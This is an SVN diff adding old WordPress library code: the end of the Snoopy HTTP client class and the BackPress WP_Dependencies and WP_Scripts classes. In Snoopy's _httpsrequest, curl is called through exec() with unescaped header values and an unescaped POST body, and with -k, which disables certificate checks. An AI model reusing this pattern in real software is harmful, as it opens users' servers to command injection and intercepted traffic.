+						if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+						{
+							/* follow the redirect */
+							$this->_redirectdepth++;
+							$this->lastredirectaddr=$this->_redirectaddr;
+							if( strpos( $this->_redirectaddr, "?" ) > 0 )
+								$this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get
+							else
+								$this->submit($this->_redirectaddr,$formvars, $formfiles);
+						}
+					}
+				}
+
+				if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+				{
+					$frameurls = $this->_frameurls;
+					$this->_frameurls = array();
+
+					while(list(,$frameurl) = each($frameurls))
+					{
+						if($this->_framedepth < $this->maxframes)
+						{
+							$this->fetch($frameurl);
+							$this->_framedepth++;
+						}
+						else
+							break;
+					}
+				}
+				return true;
+				break;
+
+			default:
+				// not a valid protocol
+				$this->error	=	'Invalid protocol "'.$URI_PARTS["scheme"].'"\n';
+				return false;
+				break;
+		}
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	fetchlinks
+	Purpose:	fetch the links from a web page
+	Input:		$URI	where you are fetching from
+	Output:		$this->results	an array of the URLs
+\*======================================================================*/
+
+	function fetchlinks($URI)
+	{
+		if ($this->fetch($URI))
+		{
+			if($this->lastredirectaddr)
+				$URI = $this->lastredirectaddr;
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+					$this->results[$x] = $this->_striplinks($this->results[$x]);
+			}
+			else
+				$this->results = $this->_striplinks($this->results);
+
+			if($this->expandlinks)
+				$this->results = $this->_expandlinks($this->results, $URI);
+			return true;
+		}
+		else
+			return false;
+	}
+
+/*======================================================================*\
+	Function:	fetchform
+	Purpose:	fetch the form elements from a web page
+	Input:		$URI	where you are fetching from
+	Output:		$this->results	the resulting html form
+\*======================================================================*/
+
+	function fetchform($URI)
+	{
+
+		if ($this->fetch($URI))
+		{
+
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+					$this->results[$x] = $this->_stripform($this->results[$x]);
+			}
+			else
+				$this->results = $this->_stripform($this->results);
+
+			return true;
+		}
+		else
+			return false;
+	}
+
+
+/*======================================================================*\
+	Function:	fetchtext
+	Purpose:	fetch the text from a web page, stripping the links
+	Input:		$URI	where you are fetching from
+	Output:		$this->results	the text from the web page
+\*======================================================================*/
+
+	function fetchtext($URI)
+	{
+		if($this->fetch($URI))
+		{
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+					$this->results[$x] = $this->_striptext($this->results[$x]);
+			}
+			else
+				$this->results = $this->_striptext($this->results);
+			return true;
+		}
+		else
+			return false;
+	}
+
+/*======================================================================*\
+	Function:	submitlinks
+	Purpose:	grab links from a form submission
+	Input:		$URI	where you are submitting from
+	Output:		$this->results	an array of the links from the post
+\*======================================================================*/
+
+	function submitlinks($URI, $formvars="", $formfiles="")
+	{
+		if($this->submit($URI,$formvars, $formfiles))
+		{
+			if($this->lastredirectaddr)
+				$URI = $this->lastredirectaddr;
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+				{
+					$this->results[$x] = $this->_striplinks($this->results[$x]);
+					if($this->expandlinks)
+						$this->results[$x] = $this->_expandlinks($this->results[$x],$URI);
+				}
+			}
+			else
+			{
+				$this->results = $this->_striplinks($this->results);
+				if($this->expandlinks)
+					$this->results = $this->_expandlinks($this->results,$URI);
+			}
+			return true;
+		}
+		else
+			return false;
+	}
+
+/*======================================================================*\
+	Function:	submittext
+	Purpose:	grab text from a form submission
+	Input:		$URI	where you are submitting from
+	Output:		$this->results	the text from the web page
+\*======================================================================*/
+
+	function submittext($URI, $formvars = "", $formfiles = "")
+	{
+		if($this->submit($URI,$formvars, $formfiles))
+		{
+			if($this->lastredirectaddr)
+				$URI = $this->lastredirectaddr;
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+				{
+					$this->results[$x] = $this->_striptext($this->results[$x]);
+					if($this->expandlinks)
+						$this->results[$x] = $this->_expandlinks($this->results[$x],$URI);
+				}
+			}
+			else
+			{
+				$this->results = $this->_striptext($this->results);
+				if($this->expandlinks)
+					$this->results = $this->_expandlinks($this->results,$URI);
+			}
+			return true;
+		}
+		else
+			return false;
+	}
+
+
+
+/*======================================================================*\
+	Function:	set_submit_multipart
+	Purpose:	Set the form submission content type to
+				multipart/form-data
+\*======================================================================*/
+	function set_submit_multipart()
+	{
+		$this->_submit_type = "multipart/form-data";
+	}
+
+
+/*======================================================================*\
+	Function:	set_submit_normal
+	Purpose:	Set the form submission content type to
+				application/x-www-form-urlencoded
+\*======================================================================*/
+	function set_submit_normal()
+	{
+		$this->_submit_type = "application/x-www-form-urlencoded";
+	}
+
+
+
+
+/*======================================================================*\
+	Private functions
+\*======================================================================*/
+
+
+/*======================================================================*\
+	Function:	_striplinks
+	Purpose:	strip the hyperlinks from an html document
+	Input:		$document	document to strip.
+	Output:		$match		an array of the links
+\*======================================================================*/
+
+	function _striplinks($document)
+	{
+		preg_match_all("'<\s*a\s.*?href\s*=\s*			# find <a href=
+						([\"\'])?					# find single or double quote
+						(?(1) (.*?)\\1 | ([^\s\>]+))		# if quote found, match up to next matching
+													# quote, otherwise match up to next space
+						'isx",$document,$links);
+
+
+		// catenate the non-empty matches from the conditional subpattern
+
+		while(list($key,$val) = each($links[2]))
+		{
+			if(!empty($val))
+				$match[] = $val;
+		}
+
+		while(list($key,$val) = each($links[3]))
+		{
+			if(!empty($val))
+				$match[] = $val;
+		}
+
+		// return the links
+		return $match;
+	}
+
+/*======================================================================*\
+	Function:	_stripform
+	Purpose:	strip the form elements from an html document
+	Input:		$document	document to strip.
+	Output:		$match		an array of the links
+\*======================================================================*/
+
+	function _stripform($document)
+	{
+		preg_match_all("'<\/?(FORM|INPUT|SELECT|TEXTAREA|(OPTION))[^<>]*>(?(2)(.*(?=<\/?(option|select)[^<>]*>[\r\n]*)|(?=[\r\n]*))|(?=[\r\n]*))'Usi",$document,$elements);
+
+		// catenate the matches
+		$match = implode("\r\n",$elements[0]);
+
+		// return the links
+		return $match;
+	}
+
+
+
+/*======================================================================*\
+	Function:	_striptext
+	Purpose:	strip the text from an html document
+	Input:		$document	document to strip.
+	Output:		$text		the resulting text
+\*======================================================================*/
+
+	function _striptext($document)
+	{
+
+		// I didn't use preg eval (//e) since that is only available in PHP 4.0.
+		// so, list your entities one by one here. I included some of the
+		// more common ones.
+
+		$search = array("'<script[^>]*?>.*?</script>'si",	// strip out javascript
+						"'<[\/\!]*?[^<>]*?>'si",			// strip out html tags
+						"'([\r\n])[\s]+'",					// strip out white space
+						"'&(quot|#34|#034|#x22);'i",		// replace html entities
+						"'&(amp|#38|#038|#x26);'i",			// added hexadecimal values
+						"'&(lt|#60|#060|#x3c);'i",
+						"'&(gt|#62|#062|#x3e);'i",
+						"'&(nbsp|#160|#xa0);'i",
+						"'&(iexcl|#161);'i",
+						"'&(cent|#162);'i",
+						"'&(pound|#163);'i",
+						"'&(copy|#169);'i",
+						"'&(reg|#174);'i",
+						"'&(deg|#176);'i",
+						"'&(#39|#039|#x27);'",
+						"'&(euro|#8364);'i",				// europe
+						"'&a(uml|UML);'",					// german
+						"'&o(uml|UML);'",
+						"'&u(uml|UML);'",
+						"'&A(uml|UML);'",
+						"'&O(uml|UML);'",
+						"'&U(uml|UML);'",
+						"'&szlig;'i",
+						);
+		$replace = array(	"",
+							"",
+							"\\1",
+							"\"",
+							"&",
+							"<",
+							">",
+							" ",
+							chr(161),
+							chr(162),
+							chr(163),
+							chr(169),
+							chr(174),
+							chr(176),
+							chr(39),
+							chr(128),
+							"ä",
+							"ö",
+							"ü",
+							"Ä",
+							"Ö",
+							"Ü",
+							"ß",
+						);
+
+		$text = preg_replace($search,$replace,$document);
+
+		return $text;
+	}
+
+/*======================================================================*\
+	Function:	_expandlinks
+	Purpose:	expand each link into a fully qualified URL
+	Input:		$links			the links to qualify
+				$URI			the full URI to get the base from
+	Output:		$expandedLinks	the expanded links
+\*======================================================================*/
+
+	function _expandlinks($links,$URI)
+	{
+
+		preg_match("/^[^\?]+/",$URI,$match);
+
+		$match = preg_replace("|/[^\/\.]+\.[^\/\.]+$|","",$match[0]);
+		$match = preg_replace("|/$|","",$match);
+		$match_part = parse_url($match);
+		$match_root =
+		$match_part["scheme"]."://".$match_part["host"];
+
+		$search = array( 	"|^http://".preg_quote($this->host)."|i",
+							"|^(\/)|i",
+							"|^(?!http://)(?!mailto:)|i",
+							"|/\./|",
+							"|/[^\/]+/\.\./|"
+						);
+
+		$replace = array(	"",
+							$match_root."/",
+							$match."/",
+							"/",
+							"/"
+						);
+
+		$expandedLinks = preg_replace($search,$replace,$links);
+
+		return $expandedLinks;
+	}
+
+/*======================================================================*\
+	Function:	_httprequest
+	Purpose:	go get the http data from the server
+	Input:		$url		the url to fetch
+				$fp			the current open file pointer
+				$URI		the full URI
+				$body		body contents to send if any (POST)
+	Output:
+\*======================================================================*/
+
+	function _httprequest($url,$fp,$URI,$http_method,$content_type="",$body="")
+	{
+		$cookie_headers = '';
+		if($this->passcookies && $this->_redirectaddr)
+			$this->setcookies();
+
+		$URI_PARTS = parse_url($URI);
+		if(empty($url))
+			$url = "/";
+		$headers = $http_method." ".$url." ".$this->_httpversion."\r\n";
+		if(!empty($this->agent))
+			$headers .= "User-Agent: ".$this->agent."\r\n";
+		if(!empty($this->host) && !isset($this->rawheaders['Host'])) {
+			$headers .= "Host: ".$this->host;
+			if(!empty($this->port) && $this->port != 80)
+				$headers .= ":".$this->port;
+			$headers .= "\r\n";
+		}
+		if(!empty($this->accept))
+			$headers .= "Accept: ".$this->accept."\r\n";
+		if(!empty($this->referer))
+			$headers .= "Referer: ".$this->referer."\r\n";
+		if(!empty($this->cookies))
+		{
+			if(!is_array($this->cookies))
+				$this->cookies = (array)$this->cookies;
+
+			reset($this->cookies);
+			if ( count($this->cookies) > 0 ) {
+				$cookie_headers .= 'Cookie: ';
+				foreach ( $this->cookies as $cookieKey => $cookieVal ) {
+				$cookie_headers .= $cookieKey."=".urlencode($cookieVal)."; ";
+				}
+				$headers .= substr($cookie_headers,0,-2) . "\r\n";
+			}
+		}
+		if(!empty($this->rawheaders))
+		{
+			if(!is_array($this->rawheaders))
+				$this->rawheaders = (array)$this->rawheaders;
+			while(list($headerKey,$headerVal) = each($this->rawheaders))
+				$headers .= $headerKey.": ".$headerVal."\r\n";
+		}
+		if(!empty($content_type)) {
+			$headers .= "Content-type: $content_type";
+			if ($content_type == "multipart/form-data")
+				$headers .= "; boundary=".$this->_mime_boundary;
+			$headers .= "\r\n";
+		}
+		if(!empty($body))
+			$headers .= "Content-length: ".strlen($body)."\r\n";
+		if(!empty($this->user) || !empty($this->pass))
+			$headers .= "Authorization: Basic ".base64_encode($this->user.":".$this->pass)."\r\n";
+
+		//add proxy auth headers
+		if(!empty($this->proxy_user))
+			$headers .= 'Proxy-Authorization: ' . 'Basic ' . base64_encode($this->proxy_user . ':' . $this->proxy_pass)."\r\n";
+
+
+		$headers .= "\r\n";
+
+		// set the read timeout if needed
+		if ($this->read_timeout > 0)
+			socket_set_timeout($fp, $this->read_timeout);
+		$this->timed_out = false;
+
+		fwrite($fp,$headers.$body,strlen($headers.$body));
+
+		$this->_redirectaddr = false;
+		unset($this->headers);
+
+		while($currentHeader = fgets($fp,$this->_maxlinelen))
+		{
+			if ($this->read_timeout > 0 && $this->_check_timeout($fp))
+			{
+				$this->status=-100;
+				return false;
+			}
+
+			if($currentHeader == "\r\n")
+				break;
+
+			// if a header begins with Location: or URI:, set the redirect
+			if(preg_match("/^(Location:|URI:)/i",$currentHeader))
+			{
+				// get URL portion of the redirect
+				preg_match("/^(Location:|URI:)[ ]+(.*)/i",chop($currentHeader),$matches);
+				// look for :// in the Location header to see if hostname is included
+				if(!preg_match("|\:\/\/|",$matches[2]))
+				{
+					// no host in the path, so prepend
+					$this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port;
+					// eliminate double slash
+					if(!preg_match("|^/|",$matches[2]))
+							$this->_redirectaddr .= "/".$matches[2];
+					else
+							$this->_redirectaddr .= $matches[2];
+				}
+				else
+					$this->_redirectaddr = $matches[2];
+			}
+
+			if(preg_match("|^HTTP/|",$currentHeader))
+			{
+                if(preg_match("|^HTTP/[^\s]*\s(.*?)\s|",$currentHeader, $status))
+				{
+					$this->status= $status[1];
+                }
+				$this->response_code = $currentHeader;
+			}
+
+			$this->headers[] = $currentHeader;
+		}
+
+		$results = '';
+		do {
+    		$_data = fread($fp, $this->maxlength);
+    		if (strlen($_data) == 0) {
+        		break;
+    		}
+    		$results .= $_data;
+		} while(true);
+
+		if ($this->read_timeout > 0 && $this->_check_timeout($fp))
+		{
+			$this->status=-100;
+			return false;
+		}
+
+		// check if there is a a redirect meta tag
+
+		if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match))
+
+		{
+			$this->_redirectaddr = $this->_expandlinks($match[1],$URI);
+		}
+
+		// have we hit our frame depth and is there frame src to fetch?
+		if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match))
+		{
+			$this->results[] = $results;
+			for($x=0; $x<count($match[1]); $x++)
+				$this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host);
+		}
+		// have we already fetched framed content?
+		elseif(is_array($this->results))
+			$this->results[] = $results;
+		// no framed content
+		else
+			$this->results = $results;
+
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	_httpsrequest
+	Purpose:	go get the https data from the server using curl
+	Input:		$url		the url to fetch
+				$URI		the full URI
+				$body		body contents to send if any (POST)
+	Output:
+\*======================================================================*/
+
+	function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
+	{
+		if($this->passcookies && $this->_redirectaddr)
+			$this->setcookies();
+
+		$headers = array();
+
+		$URI_PARTS = parse_url($URI);
+		if(empty($url))
+			$url = "/";
+		// GET ... header not needed for curl
+		//$headers[] = $http_method." ".$url." ".$this->_httpversion;
+		if(!empty($this->agent))
+			$headers[] = "User-Agent: ".$this->agent;
+		if(!empty($this->host))
+			if(!empty($this->port))
+				$headers[] = "Host: ".$this->host.":".$this->port;
+			else
+				$headers[] = "Host: ".$this->host;
+		if(!empty($this->accept))
+			$headers[] = "Accept: ".$this->accept;
+		if(!empty($this->referer))
+			$headers[] = "Referer: ".$this->referer;
+		if(!empty($this->cookies))
+		{
+			if(!is_array($this->cookies))
+				$this->cookies = (array)$this->cookies;
+
+			reset($this->cookies);
+			if ( count($this->cookies) > 0 ) {
+				$cookie_str = 'Cookie: ';
+				foreach ( $this->cookies as $cookieKey => $cookieVal ) {
+				$cookie_str .= $cookieKey."=".urlencode($cookieVal)."; ";
+				}
+				$headers[] = substr($cookie_str,0,-2);
+			}
+		}
+		if(!empty($this->rawheaders))
+		{
+			if(!is_array($this->rawheaders))
+				$this->rawheaders = (array)$this->rawheaders;
+			while(list($headerKey,$headerVal) = each($this->rawheaders))
+				$headers[] = $headerKey.": ".$headerVal;
+		}
+		if(!empty($content_type)) {
+			if ($content_type == "multipart/form-data")
+				$headers[] = "Content-type: $content_type; boundary=".$this->_mime_boundary;
+			else
+				$headers[] = "Content-type: $content_type";
+		}
+		if(!empty($body))
+			$headers[] = "Content-length: ".strlen($body);
+		if(!empty($this->user) || !empty($this->pass))
+			$headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass);
+
+		for($curr_header = 0; $curr_header < count($headers); $curr_header++) {
+			$safer_header = strtr( $headers[$curr_header], "\"", " " );
+			$cmdline_params .= " -H \"".$safer_header."\"";
+		}
+
+		if(!empty($body))
+			$cmdline_params .= " -d \"$body\"";
+
+		if($this->read_timeout > 0)
+			$cmdline_params .= " -m ".$this->read_timeout;
+
+		$headerfile = tempnam($temp_dir, "sno");
+
+		exec($this->curl_path." -k -D \"$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);
+
+		if($return)
+		{
+			$this->error = "Error: cURL could not retrieve the document, error $return.";
+			return false;
+		}
+
+
+		$results = implode("\r\n",$results);
+
+		$result_headers = file("$headerfile");
+
+		$this->_redirectaddr = false;
+		unset($this->headers);
+
+		for($currentHeader = 0; $currentHeader < count($result_headers); $currentHeader++)
+		{
+
+			// if a header begins with Location: or URI:, set the redirect
+			if(preg_match("/^(Location: |URI: )/i",$result_headers[$currentHeader]))
+			{
+				// get URL portion of the redirect
+				preg_match("/^(Location: |URI:)\s+(.*)/",chop($result_headers[$currentHeader]),$matches);
+				// look for :// in the Location header to see if hostname is included
+				if(!preg_match("|\:\/\/|",$matches[2]))
+				{
+					// no host in the path, so prepend
+					$this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port;
+					// eliminate double slash
+					if(!preg_match("|^/|",$matches[2]))
+							$this->_redirectaddr .= "/".$matches[2];
+					else
+							$this->_redirectaddr .= $matches[2];
+				}
+				else
+					$this->_redirectaddr = $matches[2];
+			}
+
+			if(preg_match("|^HTTP/|",$result_headers[$currentHeader]))
+				$this->response_code = $result_headers[$currentHeader];
+
+			$this->headers[] = $result_headers[$currentHeader];
+		}
+
+		// check if there is a a redirect meta tag
+
+		if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match))
+		{
+			$this->_redirectaddr = $this->_expandlinks($match[1],$URI);
+		}
+
+		// have we hit our frame depth and is there frame src to fetch?
+		if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match))
+		{
+			$this->results[] = $results;
+			for($x=0; $x<count($match[1]); $x++)
+				$this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host);
+		}
+		// have we already fetched framed content?
+		elseif(is_array($this->results))
+			$this->results[] = $results;
+		// no framed content
+		else
+			$this->results = $results;
+
+		unlink("$headerfile");
+
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	setcookies()
+	Purpose:	set cookies for a redirection
+\*======================================================================*/
+
+	function setcookies()
+	{
+		for($x=0; $x<count($this->headers); $x++)
+		{
+		if(preg_match('/^set-cookie:[\s]+([^=]+)=([^;]+)/i', $this->headers[$x],$match))
+			$this->cookies[$match[1]] = urldecode($match[2]);
+		}
+	}
+
+
+/*======================================================================*\
+	Function:	_check_timeout
+	Purpose:	checks whether timeout has occurred
+	Input:		$fp	file pointer
+\*======================================================================*/
+
+	function _check_timeout($fp)
+	{
+		if ($this->read_timeout > 0) {
+			$fp_status = socket_get_status($fp);
+			if ($fp_status["timed_out"]) {
+				$this->timed_out = true;
+				return true;
+			}
+		}
+		return false;
+	}
+
+/*======================================================================*\
+	Function:	_connect
+	Purpose:	make a socket connection
+	Input:		$fp	file pointer
+\*======================================================================*/
+
+	function _connect(&$fp)
+	{
+		if(!empty($this->proxy_host) && !empty($this->proxy_port))
+			{
+				$this->_isproxy = true;
+
+				$host = $this->proxy_host;
+				$port = $this->proxy_port;
+			}
+		else
+		{
+			$host = $this->host;
+			$port = $this->port;
+		}
+
+		$this->status = 0;
+
+		if($fp = fsockopen(
+					$host,
+					$port,
+					$errno,
+					$errstr,
+					$this->_fp_timeout
+					))
+		{
+			// socket connection succeeded
+
+			return true;
+		}
+		else
+		{
+			// socket connection failed
+			$this->status = $errno;
+			switch($errno)
+			{
+				case -3:
+					$this->error="socket creation failed (-3)";
+				case -4:
+					$this->error="dns lookup failure (-4)";
+				case -5:
+					$this->error="connection refused or timed out (-5)";
+				default:
+					$this->error="connection failed (".$errno.")";
+			}
+			return false;
+		}
+	}
+/*======================================================================*\
+	Function:	_disconnect
+	Purpose:	disconnect a socket connection
+	Input:		$fp	file pointer
+\*======================================================================*/
+
+	function _disconnect($fp)
+	{
+		return(fclose($fp));
+	}
+
+
+/*======================================================================*\
+	Function:	_prepare_post_body
+	Purpose:	Prepare post body according to encoding type
+	Input:		$formvars  - form variables
+				$formfiles - form upload files
+	Output:		post body
+\*======================================================================*/
+
+	function _prepare_post_body($formvars, $formfiles)
+	{
+		settype($formvars, "array");
+		settype($formfiles, "array");
+		$postdata = '';
+
+		if (count($formvars) == 0 && count($formfiles) == 0)
+			return;
+
+		switch ($this->_submit_type) {
+			case "application/x-www-form-urlencoded":
+				reset($formvars);
+				while(list($key,$val) = each($formvars)) {
+					if (is_array($val) || is_object($val)) {
+						while (list($cur_key, $cur_val) = each($val)) {
+							$postdata .= urlencode($key)."[]=".urlencode($cur_val)."&";
+						}
+					} else
+						$postdata .= urlencode($key)."=".urlencode($val)."&";
+				}
+				break;
+
+			case "multipart/form-data":
+				$this->_mime_boundary = "Snoopy".md5(uniqid(microtime()));
+
+				reset($formvars);
+				while(list($key,$val) = each($formvars)) {
+					if (is_array($val) || is_object($val)) {
+						while (list($cur_key, $cur_val) = each($val)) {
+							$postdata .= "--".$this->_mime_boundary."\r\n";
+							$postdata .= "Content-Disposition: form-data; name=\"$key\[\]\"\r\n\r\n";
+							$postdata .= "$cur_val\r\n";
+						}
+					} else {
+						$postdata .= "--".$this->_mime_boundary."\r\n";
+						$postdata .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n";
+						$postdata .= "$val\r\n";
+					}
+				}
+
+				reset($formfiles);
+				while (list($field_name, $file_names) = each($formfiles)) {
+					settype($file_names, "array");
+					while (list(, $file_name) = each($file_names)) {
+						if (!is_readable($file_name)) continue;
+
+						$fp = fopen($file_name, "r");
+						$file_content = fread($fp, filesize($file_name));
+						fclose($fp);
+						$base_name = basename($file_name);
+
+						$postdata .= "--".$this->_mime_boundary."\r\n";
+						$postdata .= "Content-Disposition: form-data; name=\"$field_name\"; filename=\"$base_name\"\r\n\r\n";
+						$postdata .= "$file_content\r\n";
+					}
+				}
+				$postdata .= "--".$this->_mime_boundary."--\r\n";
+				break;
+		}
+
+		return $postdata;
+	}
+}
+endif;
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/class.wp-dependencies.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/class.wp-dependencies.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/class.wp-dependencies.php	(revision 44)
@@ -0,0 +1,239 @@
+<?php
+/**
+ * BackPress Scripts enqueue.
+ *
+ * These classes were refactored from the WordPress WP_Scripts and WordPress
+ * script enqueue API.
+ *
+ * @package BackPress
+ * @since r74
+ */
+
+/**
+ * BackPress enqueued dependiences class.
+ *
+ * @package BackPress
+ * @uses _WP_Dependency
+ * @since r74
+ */
+class WP_Dependencies {
+	var $registered = array();
+	var $queue = array();
+	var $to_do = array();
+	var $done = array();
+	var $args = array();
+	var $groups = array();
+	var $group = 0;
+
+	function WP_Dependencies() {
+		$args = func_get_args();
+		call_user_func_array( array(&$this, '__construct'), $args );
+	}
+
+	function __construct() {}
+
+	/**
+	 * Do the dependencies
+	 *
+	 * Process the items passed to it or the queue.  Processes all dependencies.
+	 *
+	 * @param mixed handles (optional) items to be processed.  (void) processes queue, (string) process that item, (array of strings) process those items
+	 * @return array Items that have been processed
+	 */
+	function do_items( $handles = false, $group = false ) {
+		// Print the queue if nothing is passed.  If a string is passed, print that script.  If an array is passed, print those scripts.
+		$handles = false === $handles ? $this->queue : (array) $handles;
+		$this->all_deps( $handles );
+
+		foreach( $this->to_do as $key => $handle ) {
+			if ( !in_array($handle, $this->done) && isset($this->registered[$handle]) ) {
+
+				if ( ! $this->registered[$handle]->src ) { // Defines a group.
+					$this->done[] = $handle;
+					continue;
+				}
+
+				if ( $this->do_item( $handle, $group ) )
+					$this->done[] = $handle;
+
+				unset( $this->to_do[$key] );
+			}
+		}
+
+		return $this->done;
+	}
+
+	function do_item( $handle ) {
+		return isset($this->registered[$handle]);
+	}
+
+	/**
+	 * Determines dependencies
+	 *
+	 * Recursively builds array of items to process taking dependencies into account.  Does NOT catch infinite loops.
+	 *
+
+	 * @param mixed handles Accepts (string) dep name or (array of strings) dep names
+	 * @param bool recursion Used internally when function calls itself
+	 */
+	function all_deps( $handles, $recursion = false, $group = false ) {
+		if ( !$handles = (array) $handles )
+			return false;
+
+		foreach ( $handles as $handle ) {
+			$handle_parts = explode('?', $handle);
+			$handle = $handle_parts[0];
+			$queued = in_array($handle, $this->to_do, true);
+
+			if ( in_array($handle, $this->done, true) ) // Already done
+				continue;
+
+			$moved = $this->set_group( $handle, $recursion, $group );
+
+			if ( $queued && !$moved ) // already queued and in the right group
+				continue;
+
+			$keep_going = true;
+			if ( !isset($this->registered[$handle]) )
+				$keep_going = false; // Script doesn't exist
+			elseif ( $this->registered[$handle]->deps && array_diff($this->registered[$handle]->deps, array_keys($this->registered)) )
+				$keep_going = false; // Script requires deps which don't exist (not a necessary check.  efficiency?)
+			elseif ( $this->registered[$handle]->deps && !$this->all_deps( $this->registered[$handle]->deps, true, $group ) )
+				$keep_going = false; // Script requires deps which don't exist
+
+			if ( !$keep_going ) { // Either script or its deps don't exist.
+				if ( $recursion )
+					return false; // Abort this branch.
+				else
+					continue; // We're at the top level.  Move on to the next one.
+			}
+
+			if ( $queued ) // Already grobbed it and its deps
+				continue;
+
+			if ( isset($handle_parts[1]) )
+				$this->args[$handle] = $handle_parts[1];
+
+			$this->to_do[] = $handle;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Adds item
+	 *
+	 * Adds the item only if no item of that name already exists
+	 *
+	 * @param string handle Script name
+	 * @param string src Script url
+	 * @param array deps (optional) Array of script names on which this script depends
+	 * @param string ver (optional) Script version (used for cache busting)
+	 * @return array Hierarchical array of dependencies
+	 */
+	function add( $handle, $src, $deps = array(), $ver = false, $args = null ) {
+		if ( isset($this->registered[$handle]) )
+			return false;
+		$this->registered[$handle] = new _WP_Dependency( $handle, $src, $deps, $ver, $args );
+		return true;
+	}
+
+	/**
+	 * Adds extra data
+	 *
+	 * Adds data only if script has already been added
+	 *
+	 * @param string handle Script name
+	 * @param string data_name Name of object in which to store extra data
+	 * @param array data Array of extra data
+	 * @return bool success
+	 */
+	function add_data( $handle, $data_name, $data ) {
+		if ( !isset($this->registered[$handle]) )
+			return false;
+		return $this->registered[$handle]->add_data( $data_name, $data );
+	}
+
+	function remove( $handles ) {
+		foreach ( (array) $handles as $handle )
+			unset($this->registered[$handle]);
+	}
+
+	function enqueue( $handles ) {
+		foreach ( (array) $handles as $handle ) {
+			$handle = explode('?', $handle);
+			if ( !in_array($handle[0], $this->queue) && isset($this->registered[$handle[0]]) ) {
+				$this->queue[] = $handle[0];
+				if ( isset($handle[1]) )
+					$this->args[$handle[0]] = $handle[1];
+			}
+		}
+	}
+
+	function dequeue( $handles ) {
+		foreach ( (array) $handles as $handle )
+			unset( $this->queue[$handle] );
+	}
+
+	function query( $handle, $list = 'registered' ) { // registered, queue, done, to_do
+		switch ( $list ) :
+		case 'registered':
+		case 'scripts': // back compat
+			if ( isset($this->registered[$handle]) )
+				return $this->registered[$handle];
+			break;
+		case 'to_print': // back compat
+		case 'printed': // back compat
+			if ( 'to_print' == $list )
+				$list = 'to_do';
+			else
+				$list = 'printed';
+		default:
+			if ( in_array($handle, $this->$list) )
+				return true;
+			break;
+		endswitch;
+		return false;
+	}
+
+	function set_group( $handle, $recursion, $group ) {
+		$group = (int) $group;
+
+		if ( $recursion )
+			$group = min($this->group, $group);
+		else
+			$this->group = $group;
+
+		if ( isset($this->groups[$handle]) && $this->groups[$handle] <= $group )
+			return false;
+
+		$this->groups[$handle] = $group;
+		return true;
+	}
+
+}
+
+class _WP_Dependency {
+	var $handle;
+	var $src;
+	var $deps = array();
+	var $ver = false;
+	var $args = null;
+
+	var $extra = array();
+
+	function _WP_Dependency() {
+		@list($this->handle, $this->src, $this->deps, $this->ver, $this->args) = func_get_args();
+		if ( !is_array($this->deps) )
+			$this->deps = array();
+		if ( !$this->ver )
+			$this->ver = false;
+	}
+
+	function add_data( $name, $data ) {
+		if ( !is_scalar($name) )
+			return false;
+		$this->extra[$name] = $data;
+		return true;
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/class.wp-scripts.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/class.wp-scripts.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/class.wp-scripts.php	(revision 44)
@@ -0,0 +1,197 @@
+<?php
+/**
+ * BackPress Scripts enqueue.
+ *
+ * These classes were refactored from the WordPress WP_Scripts and WordPress
+ * script enqueue API.
+ *
+ * @package BackPress
+ * @since r16
+ */
+
+/**
+ * BackPress Scripts enqueue class.
+ *
+ * @package BackPress
+ * @uses WP_Dependencies
+ * @since r16
+ */
+class WP_Scripts extends WP_Dependencies {
+	var $base_url; // Full URL with trailing slash
+	var $content_url;
+	var $default_version;
+	var $in_footer = array();
+	var $concat = '';
+	var $concat_version = '';
+	var $do_concat = false;
+	var $print_html = '';
+	var $print_code = '';
+	var $ext_handles = '';
+	var $ext_version = '';
+	var $default_dirs;
+
+	function __construct() {
+		do_action_ref_array( 'wp_default_scripts', array(&$this) );
+	}
+
+	/**
+	 * Prints scripts
+	 *
+	 * Prints the scripts passed to it or the print queue.  Also prints all necessary dependencies.
+	 *
+	 * @param mixed handles (optional) Scripts to be printed.  (void) prints queue, (string) prints that script, (array of strings) prints those scripts.
+	 * @param int group (optional) If scripts were queued in groups prints this group number.
+	 * @return array Scripts that have been printed
+	 */
+	function print_scripts( $handles = false, $group = false ) {
+		return $this->do_items( $handles, $group );
+	}
+
+	function print_scripts_l10n( $handle, $echo = true ) {
